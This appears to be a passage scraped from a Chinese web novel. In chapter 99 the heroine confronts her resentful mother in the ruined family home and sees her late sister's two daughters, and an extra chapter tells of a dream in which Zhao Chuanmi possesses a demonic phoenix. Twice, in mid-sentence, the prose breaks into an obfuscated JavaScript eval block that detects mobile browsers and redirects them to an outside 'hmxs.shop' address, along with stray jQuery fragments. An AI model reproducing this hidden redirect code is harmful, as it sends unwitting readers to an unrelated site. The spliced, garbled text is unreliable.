沐毓露在她的面前站定，她也用一种探询的目光注视着沐昭氏，过了好一会儿才开口问道：“原来穆王府放出的消息是说我暴毙了？那么母亲，在听说我暴毙的时候，你有没有为我伤心过？” 沐昭氏却并不想谈论这个话题，她越过沐毓露，蹒跚着向外走，一边走一边叹气。 沐毓露一把攥住她，“母亲要去哪里？” 沐昭氏想要将胳膊抽回来，努力了半晌却纹丝不动，这一刻她终于意识到自己与沐毓露之间力量的悬殊。 她已经拿自己的女儿没有办法了。 苦笑了一下，她抬头望着沐毓露：“我还能去哪里？我要去买菜给我的外孙女儿做饭。今时不同往日了，我没有你那般好命，去哪里都有人伺候着。” 沐毓露听着她的话，微微蹙了蹙眉。 外孙女？ 沐晚意的女儿么？ 99. 第99章 转念一想，她已经离家这么多年了，沐晚意成婚生子也很正常。 只是不知沐晚意曾经可以嫁给三皇子，贵为皇子侧妃，如今三皇子被贬为庶人，变得疯疯癫癫，沐晚意的美梦破碎之后，她会转而嫁给一个什么样的人。 以沐府今时今日的状况，沐晚意怕是想要嫁给一个寻常商贩都难，而以沐毓露对她的了解，她是绝不甘心嫁给一个贩夫走卒的。 她想象不出来沐晚意到底会跟一个什么样的人成婚，还生下了孩子。 沐毓露沉默地思索了一会儿，转首递给车夫一些银两，示意他帮沐昭氏买些菜回来，她自己则抬步朝府里走去。 沐昭氏知道拦不住她，干脆不拦了，跟在沐毓露身后颤颤巍巍地走了进去。 眼前的庭院让沐毓露感到既熟悉又陌生。 她曾经被罚跪过的前厅院里，如今荒草漫过了脚腕，踩上去会微微打滑。 显然沐昭氏雇人来打理过这些杂草，无奈这大宅院里如今没住几个人，连一点人气儿都没有，沐昭氏估计也是大半年才雇人来打理一回，因此庭院里才会如今这副景象。 沐毓露抬头去望，但见抄手游廊的柱子漆皮剥落，露出里面灰白色的木头芯子，几处廊顶的瓦片也塌陷了，露出黑黢黢的窟窿，檐下结着蛛网，在穿堂而过的风里微微晃荡。 沐毓露略微驻足，扫过这满目的衰败，抬步还想往后院走，却被沐昭氏拦下。 她瞪着沐毓露，眼里有恨意：“你回来到底想干什么？就是来看我们的笑话么？” 沐毓露倒也不再坚持，她停下了步子，垂首平静地注视着沐昭氏，“如今我的日子总算是过得好了，你似乎反而很不高兴？” 她问沐昭氏：“现在我已经碍不着你们什么了，你到底还在恨什么？” “我在恨什么？”沐昭氏声音沙哑：“该我问你才是，你到底为什么这么恨你的爹娘，为什么这么恨你的妹妹？”她抬起眼睛，那眼神很空洞，却又像凝着冰，“你吃里扒外，害了你的父亲，还害了你的妹妹，你现在还有脸问我在恨什么？” 沐毓露懒得同她争辩，她了一眼空荡荡的院子，“沐晚意怎么了？” 不提沐晚意的名字还好，一听到她的名字沐昭氏就跟疯了一样，冲上来对着沐毓露又打又骂：“要不是因为你，她现在说不定已经是宫里的娘娘了，就是因为你帮着穆衾寒害了她的夫婿，她才不得不嫁给一个屠夫，最后还难产而死！” 沐昭氏早已不比当初，如今的她实在太瘦弱了，拳头砸在沐毓露的身上可以说是不痛不痒。 沐毓露站在原地不动，沉默了好一会儿才道：“恐怕她嫁给一个屠夫也是被你逼的吧？我都可以猜到你当时说了些什么，你八成告诉她女人还是要寻一个男人作为依靠，尤其是像她现在这样的身份，更要找一个男人照顾自己，就不要再挑了，对不对？” 沐毓露这话说得毫不留情，一下子就戳中了沐昭氏的痛处，见沐昭氏愣在了原地，她继续道：“再说了，是我逼着她生孩子么？难道成了宫里的娘娘就没有难产的可能了么？你罗列的这些罪名我不接受。” 沐昭氏像是没有想到沐毓露能说出这样的话，她捂住心口喘了半天才道：“你专程回来这一趟，就是为了来气死我么？” 她再一次指着沐毓露的鼻子骂：“你身为长姐，可曾尽到过一点长姐的责任？当初离开朱雀国的时候，你但凡有一点良心，想到了你的妹妹，她就不至于过了这么多年的苦日子，最后还死得那样可怜！” 沐昭氏颤巍巍地摇头：“我也是长姐，我也有妹妹，未出阁的时候就是由我照顾妹妹，家中也多偏袒她一些，这都是应当的，可是到了你这里，就偏要与你的妹妹论长短。你不尊敬父母，也不照顾幼妹，还敢问我为什么偏心你妹妹。你这样的女儿，让我如何爱你？” 沐毓露听着听着，品出了一点不对劲来。 她盯着沐昭氏看了好一会儿，然后沉吟着道：“都说长姐如母，你从小照顾蒲姨娘，家中也都偏宠她，你难道就没有过一点怨恨？” 沐昭氏笃定地道：“我不像你这般不尊亲长不孝父母，长兄如父长姐如母，这本就是做长姐的应当承担的，我何来怨恨可言？” 沐毓露听得连连点头：“明白了，我那外祖父母也是这样忽悠你的。” 但是她不相信沐昭氏从小到大就没有生出过一丝一毫的怨怼，只是那些怨恨在心底悄悄地扎了根，再投射向了她自己的女儿而已。 便在母女两人对峙之时，一阵极其轻微的摩擦声从通往内院的垂花拱门那里传来。 两人同时止住了声音，转头朝发出声音的方向望去。 只见门框后面怯生生地探出了两个小小的脑袋，大的那个梳着两个歪歪扭扭的发髻，一张小脸瘦得只有巴掌大，眼睛却出奇地亮，像受惊的小鹿，一眨不眨地盯着廊下剑拔弩张的两人。 她的身侧藏着一个更小的身影，那小姑娘紧紧地贴在姐姐的身旁，一只小手死死地揪着姐姐的衣角。 沐毓露仔细看了一眼，发现那大一点的孩子约摸六七岁光景，而小一点的那个看不出具体的年龄来，她看起来年纪和她姐姐差不了太多，但身材却弱小了很多，沐毓露猜测是胎里不足的缘故。 旋即她想到，这两个丫头应该都是沐晚意的孩子，而沐晚意就是在生第二个孩子的时候难产去世的。 沐昭氏见到那两个孩子之后，则直接就呵斥了起来：“邀楠！你怎么把你妹妹带到前厅来了？没听见今天家里来人么？” 那唤作邀楠的女孩子往后缩了缩脑袋，然后下意识把妹妹护到了自己身后。 沐毓露沉默地注视着这一幕，她突然间觉得自己有很多的问题想问，又突然间不想再开口，什么都不想说了。 沐昭氏见她直直地盯着躲在门洞下的姐妹二人，防备地往前走了两步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767931|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将她们挡在自己的身后。 邀楠的胆子显然比她妹妹要大一些，被外祖母挡住之后，她又往外探了探脑袋，好奇地朝沐毓露的方向张望着。 沐毓露与她对视了一眼，转身离开前对沐昭氏最后交代了一句：“若有一日你精力不济，无法再照顾她们，可以将她们送到我这里来。” 沐昭氏却在她身后道：“我是不会将晚意的女儿交到你手里的，你从小就恨她，我怎么可能把她的孩子交给你。” 沐毓露顿住了步子，便在这时稀疏的雨点落了下来，砸在她的脸颊上，带着一点初秋的寒意。 她抬起头，深吸了一口气，在这时候开口道：“你知道吗，早在很久之前我就告诉过自己，不要再对不爱自己的人保持任何期待。” “这么多年来其实我一直都做到了，我甚至早就不期盼所谓父亲的爱了。但我承认，唯独对你，我至今无法释怀。” 她的声音微微颤抖，像是在雨中打了一个寒噤：“我到现在都想不通，母亲不应当是天生爱女儿的么？我自诩这一世没有再做过什么伤天害理的事情，你为什么就是不肯爱我？” 沐昭氏显然没有听懂沐毓露在说什么，她往后退了两步，将门洞下的两姐妹更严实地挡在了身后。 说出这番积压在心底多年的话之后，沐毓露反而觉得好受了许多，她只是将这些令她无法释怀的想法说出来而已，却并不期待沐昭氏的回应。 “你不肯相信我，但是没有关系，循环的命运在我这里终结了。” 她没再看身后的母亲一眼，也没再看那垂花门后的两双眼睛，冒着雨径直离开了这里。 一把推开吱呀作响的大门，雨幕之中，一道云烟似的粉色身影出现在她的眼前。 那人见她出来了，往前走了两步，将伞倾斜着移了过来，替她挡住了头顶的雨。 沐毓露调整了一下情绪，抬手握住他撑伞的手，语声也变得轻柔：“不是让你在马车上等我么？下着雨出来做什么？” 三州堇璱轻轻地笑了笑：“因为我猜你这时候并不想坐马车，而是想要在雨里走一走。” 沐毓露也笑了：“你怎么知道？而且我现在还很想吃一点甜的东西。” 三州堇璱的目光落在她的脸上，眼神温和得让周遭的雨都显得没那么冰凉，他微微侧了侧头，示意了一下巷口的方向：“我方才在这附近转了一圈，看见前面街拐角新开了一家叫甜香居的糕点铺，它家的玉露团看起来不错，我带你去尝尝？” 沐毓露点了点头，随他一起走下台阶，三州堇璱转身的时候手腕微动，将伞又往她这边挪了挪，确保冰冷的雨点一滴也不会落到她的身上。 两道身影就这样在同一柄伞下，互相依偎着朝巷口的方向走去。 他们身后那扇沉重的朱漆大门在越来越大的雨幕中渐渐模糊成一个昏暗的轮廓，而前方的天空乌云骤散，雨中盛着一片耀眼的天光。 100. 番外 后来她又梦见过那个女子，见到了那女子所说的万国时期的照川弥。 之所以确认梦里那个倒在血泊当中，被鲜血染红了白衣的女子就是照川弥，还是因为缠绕在女子腰间的那柄链剑。 在沐毓露的记忆里，梦中那女子的面容总是模糊的，醒来之后也忆不真切，但她记得总是盘在女子腰间，会散发出夺目光芒的链剑。 梦中的照川弥虚弱地倒在血泊里，似乎已经没有了生机，而她腰间的链剑当真如同一尾银蛇般动了起来，轻轻地拂过她的脸颊，仿佛是想通过这样的方式唤醒它的主人。 此刻沐毓露终于理解，为何之前那女子会说她预见了照川弥的死亡。 此时梦境中所呈现的画面应当就是那女子所说的万国时期，目之所及是一大片被火焰焚烧过的万里焦土，天空一片猩红，大地上则蜿蜒流淌着血河般的岩浆。 距离照川弥所在位置的不远处，躺着一只翼展百丈、翎羽如刃的巨大凶兽，那凶兽看起来有点眼熟，倒与传说中的凤凰有些相像。 它此刻显然也是重伤不起，巨大的头颅无力地垂下，金色瞳孔黯淡无光。 仔细去看，会发现它的胸膛有被链剑贯穿过的痕迹，华丽的尾羽也被折断了大半，金色的血液正从伤口中汩汩地流出，滴在周遭的岩石上发出“嗤嗤”的声响，将那些岩石烧出一个又一个的小坑。 显然方才照川弥与这只凶兽恶斗过，如今他们两败俱伤，都处于濒死之际。 突然，那凶兽扇动了一下翅膀，似乎是恢复了过来，眼睛一翻露出凶光，仇恨地注视着躺在不远处的照川弥。 这也许便是传说中的凶兽的自愈能力，方才它还奄奄一息快要断气的样子，现在居然睁开了眼睛，还能够扇动翅膀，被贯穿了的伤口也正在以惊人的速度愈合着。 相比之下人类痊愈的速度就比凶兽慢了太多，照川弥浑身浴血，完全没有即将苏醒的样子。仔细去看便能发现她所受的伤完全不比那凶兽轻，浑身浴血不说，她的一整只左臂都被火焰焚烧过，裸露出了森森白骨。 眼看那凶兽的状态越来越好，而照川弥的情况却越来越糟，沐毓露急得想要呐喊，却仍旧怎么都发不出声音来。 不到半柱香的时间，那凶兽身上的伤口就已全部愈合，它踉踉跄跄地站起身来，舒展了一下翅膀，冲着躺在地上的照川弥发出了一声嘶鸣，然后便朝她俯冲而去。 在这万分危急的时刻，沐毓露突然感觉好像有一把火在她心间烧了起来，与此同时另一簇看不见摸不着但真切存在着的火苗在不远处与她共振。 她恍然间明白了什么，将目光望向不远处的照川弥。 下一秒，照川弥的手指微微颤动了一下。 她仍旧没能醒来，但陷入沉睡的意识深处应当正在进行激烈的挣扎，那凶兽显然也感受到了照川弥的挣扎，它突然不再俯冲，而是收了翅膀，饶有兴味地在空中盘旋。 眼前的这一幕令沐毓露感到恐怖，除了恐惧之外，她还出离地愤怒。 那凶兽应当看出来了照川弥也即将从沉睡中醒过来，很明显它正在耐心地等待着一个好时机，想要在她已经苏醒但还没有恢复力量的时候虐杀她。 沐毓露从那凶兽的眼中看到了最原始最野蛮的嗜杀的欲望，那是一双异常美丽也异常暴戾的眼睛，此刻它正牢牢地盯着照川弥，仇恨的眼神已经快要凝为实质。 好在没过多久，照川弥眼皮微动，终于醒了过来。 也就是在这一刻，那凶兽抓住时机仰天长啸，不待照川弥握住身旁的链剑，便振翅掀起滔天烈焰。 上古妖凰的凄厉啼鸣声中，焚世火海疯狂翻涌，瞬间便将照川弥吞没。 照川弥刚刚从重伤昏迷中苏醒，此时甚至连自保的能力都没有，她抬手格挡，肉身却在火海中迅速崩解，皮肤焦黑脱落，骨骼寸寸碎裂。 眨眼间照川弥的肉身便被那火海烧为了灰烬，眼看是不能活了。 却没有想到下一瞬照川弥的魂魄离体，被一团心火包裹着悬浮在空中，如一缕风吹就散的云烟，在火海中轻轻摇晃。 沐毓露目瞪口呆地注视着这一幕。 那凶兽自然也注意到了火海中的异变，它昂首嘶鸣，让凤凰真火更加猛烈地燃烧着，企图焚毁照川弥的魂魄。 然而那凤凰真火似乎对心火不起作用，照川弥的魂魄看似脆弱，仿佛随时都会湮灭，但是在心火的保护之下，承受着那凶兽一轮又一轮的攻击，却丝毫没有会因此消散的样子。 “你焚毁了我的肉身。”她隔着火海望向那只凶兽，“那就用你自己的身躯来还吧。” 在照川弥说出这句话的一瞬间，沐毓露感到天旋地转，她觉得自己仿佛被卷入了一个火焰漩涡，炽热的神识空间里到处都是跳动的金色火焰。 这一瞬间她像是能够在梦境中与照川弥产生共感，她的魂魄能够短暂地跟随着照川弥的视野，看见她原本无法得见的神魂之战。 然后沐毓露便半是惊恐半是兴奋地发现，失去了肉身的照川弥居然打算夺舍那上古妖凰。 照川弥与那妖凰的神识空间里均燃烧着一片火海，跟随着她的视野，沐毓露看见其中一片火海正中央悬浮着一团黯淡的凤凰模样的神魂。 那妖凰的神魂看起来比照川弥虚弱得多。 原来它只是肉身坚不可摧，神魂的力量却远远不及照川弥。 照川弥没有犹豫，魂魄化作一道青光，直冲那妖兽神魂的核心。两股意识在神识空间内激烈碰撞，一重又一重的火焰疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774370|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌。 与照川弥共感的沐毓露此刻并不好受，她感觉自己的意识正在被灼烧，同时还承受着妖兽的攻击，甚至照川弥夺舍时那妖凰破碎的记忆碎片也如洪流般涌入二人脑海。 这妖兽确实是凶残异常，它嗜血成性，以毁灭为乐，记忆里出现最多的画面便是各种屠杀人类的场景，说是血流成河、积尸如山也不为过。 与这些令人作呕的记忆一同冲入她们识海的还有妖兽暴戾的本能，这勾起了沐毓露隐藏在潜意识深处的愤怒。 此时她的脑海中除却弥漫着妖凰的记忆碎片，还浮现出一张张熟悉的人脸。 穆衾寒、沐玉罡、沐昭氏…… 每一张脸都让她感到异常愤怒，想要杀人的欲望在这一刻攀上了顶峰。 好在没过多久，与妖凰苦斗的照川弥瞬间爆发出惊人的力量，硬生生在妖凰的识海中撕开了一道裂痕。 她的元神如利剑般刺入妖凰神魂核心，刹那间吞噬了它的意识。 妖凰的神魂终于支撑不住，在这一瞬间轰然破碎。 照川弥夺舍成功，她熄灭了心火之源，断开了与沐毓露的共感，沐毓露的意识被迫从那片识海空间中抽离，回到了自己的身体。 她突然间觉得整个世界都安静了。 意识逐渐恢复，神思也慢慢清明，沐毓露将心中燃起的莫名的愤怒压了下去，长长地舒了口气。 还好照川弥的动作够快，在关键时刻夺舍成功，沐毓露在此时抬头望向照川弥，见她居然这么快就适应了那一具新的身躯，此刻正不断地在天空中盘旋。 沐毓露不知道该如何形容看见这一幕时心中升起的震撼。 她看见照川弥的凤凰之躯掠过天空，所过之处白云骤然化作火海，看见心火环绕在她的身侧，然后如流星般坠落。 一具全新的凤凰之躯在火焰中诞生，比原先作为妖凰时的那具更加庞大且神圣。照川弥在无尽的火海中缓缓睁眼，金色的瞳眸中再无暴戾，唯有浩瀚如海的沉静与威严。 沐毓露在梦境中与她对视的这一瞬间，好似被摄入了广阔无垠的星海，处于一片毫无桎梏的恢弘无边的天地之间。 从方才到现在的一幕幕像是化作了一团团炽烈的光芒，为她种下了一个璀璨的心锚，她感觉到心间有一股力量正在滋长，正托举着她不断地往上。 至于往上要到哪里去，她不知道。总之她知道，自己不要继续留在原地，不要留在那些已经发烂发臭的回忆里。 下一刻照川弥转过身，扇动着翅膀缓缓离去。 她的离开让整个梦境开始坍塌，沐毓露却安心地闭上了眼，放任自己沉入潮水般的黑暗当中。 如今的她已经不再惧怕黑暗，也不再畏惧醒来之后的未来。